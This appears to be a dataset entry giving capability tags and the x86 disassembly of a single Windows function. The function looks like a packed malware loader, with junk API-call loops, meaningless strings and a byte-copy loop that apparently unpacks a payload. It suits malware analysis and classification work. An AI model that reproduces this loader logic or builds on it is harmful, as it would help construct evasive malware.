Function at 0x417070
Capabilities:
Accept command line arguments
Connect pipe
Copy file
Create directory
Get disk information
Get file attributes
Get hostname
Manipulate console buffer
Query environment variable
Read pipe
Set console window title
Set file attributes
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1080
call fcn.00408820
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push edi
xor edi, edi
jmp 0x4170a0
cmp dword [0x2768124], 0x7d
jne 0x4170d4
push 0
lea eax, [ebp - 0x804]
push eax
lea ecx, [ebp - 0x1048]
push ecx
lea edx, [ebp - 0x1040]
push edx
lea eax, [ebp - 0x104c]
push eax
push 0
lea ecx, [ebp - 0x1004]
push ecx
push 0
call ebx
cmp edi, 0x4fa
jne 0x4170ee
mov edx, dword [0x41c684]
add edx, 0x9e49
mov dword [0x2768124], edx
cmp dword [0x2768124], 0xeb1
jne 0x417123
xor eax, eax
lea edx, [ebp - 0x1050]
push edx
push eax
push eax
push eax
push eax
mov dword [ebp - 0x103c], eax
call esi
mov dword [0x41d4b0], 0xec58ac98
mov dword [0x41d4b4], 0xffffffff
inc edi
cmp edi, 0x1238bdc
jl 0x4170a0
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor esi, esi
cmp esi, 0x5605e1
jne 0x41714c
mov ecx, dword [0x41c678]
mov dword [0x2768128], ecx
cmp dword [0x2768124], 0x168
jne 0x41715a
call edi
inc esi
cmp esi, 0x602bdc
jl 0x417138
cmp dword [0x2768124], 0x7c
jne 0x417287
lea edx, [ebp - 0x1050]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea eax, [ebp - 0x104c]
push eax
lea ecx, [ebp - 0xc04]
push ecx
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0x2e
lea edx, [ebp - 0x1034]
push edi
push edx
mov dword [ebp - 0x1038], edi
call fcn.00406260
add esp, 0xc
push edi
lea eax, [ebp - 0x1038]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea ecx, [ebp - 0x1048]
push ecx
mov dword [ebp - 0x1048], edi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
lea eax, [ebp - 0x1058]
push eax
xor ecx, ecx
push ecx
xor edx, edx
push edx
lea eax, [ebp - 0x1044]
push eax
push edi
mov dword [ebp - 0x1040], edx
mov dword [ebp - 0x103c], ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push edi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
lea ecx, [ebp - 0x404]
push ecx
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp dword [0x2768124], 0x2d
jne 0x417263
lea edx, [ebp - 0x1070]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x2768124], 0x54
jne 0x417278
push edi
push edi
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
call fcn.004010e3
push edi
call fcn.004010f9
add esp, 8
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor esi, esi
call ebx
cmp esi, 0x25627
jge 0x4172af
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
push 0
push 0
lea eax, [ebp - 0x1004]
push eax
call edi
cmp esi, 0x24bf3
jg 0x4172cf
inc esi
cmp esi, 0xf0169
jl 0x417295
jmp 0x4172f0
cmp dword [0x2768124], 0xa
jne 0x4172f0
push 0
lea ecx, [ebp - 0x404]
push ecx
push 0
push str.gosobociziharepuguholokunapanuh
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x2768124], 0x2a
jne 0x4173b7
xor esi, esi
push esi
mov dword [0x2767ff0], esi
mov dword [0x2767ff4], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
lea edx, [ebp - 0x1044]
push edx
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push str.mofawuzijufexatenibeporalereko
push str.feyufagix
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040104f
push esi
push esi
call fcn.0040100f
push 0x419b1c
push str._s__c
push 0x41d428
call fcn.00401332
call fcn.00405b55
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040166a
push esi
push esi
push esi
push esi
call fcn.0040161a
push esi
call fcn.0040131b
add esp, 0x40
push esi
call fcn.00401104
add esp, 4
call fcn.00416ca0
mov ecx, dword [0x2768124]
xor eax, eax
test ecx, ecx
je 0x4173fd
mov edi, dword [0x2768128]
mov esi, dword [0x2767e44]
mov edx, 0x17bc
lea esp, [esp]
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x4173f8
mov dword [0x2767e48], edx
inc eax
cmp eax, ecx
jb 0x4173e0
call fcn.00416dd0
call fcn.00416cd0
call fcn.00417000
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
lea ebx, [ebx]
cmp dword [0x2768124], 0x41
jne 0x417441
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp esi, 0xd606b
jne 0x41744e
call fcn.00416cc0
cmp dword [0x2768124], 0xc
jne 0x417466
push 0
lea ecx, [ebp - 0x1044]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc esi
cmp esi, 0x24e87d
jl 0x417420
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
nop
cmp dword [0x2768124], 0x7c4
mov dword [0x2767e4c], edi
jne 0x41749b
push 0
push str.lababujutiboluroxayaweyejapoba
call esi
dec ebx
jne 0x417480
mov ecx, dword [ebp - 0x1078]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x4174bf
cmp ecx, 0xf5bed7
jne 0x4174c7
inc eax
cmp eax, 0x687ed2
jl 0x4174b0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret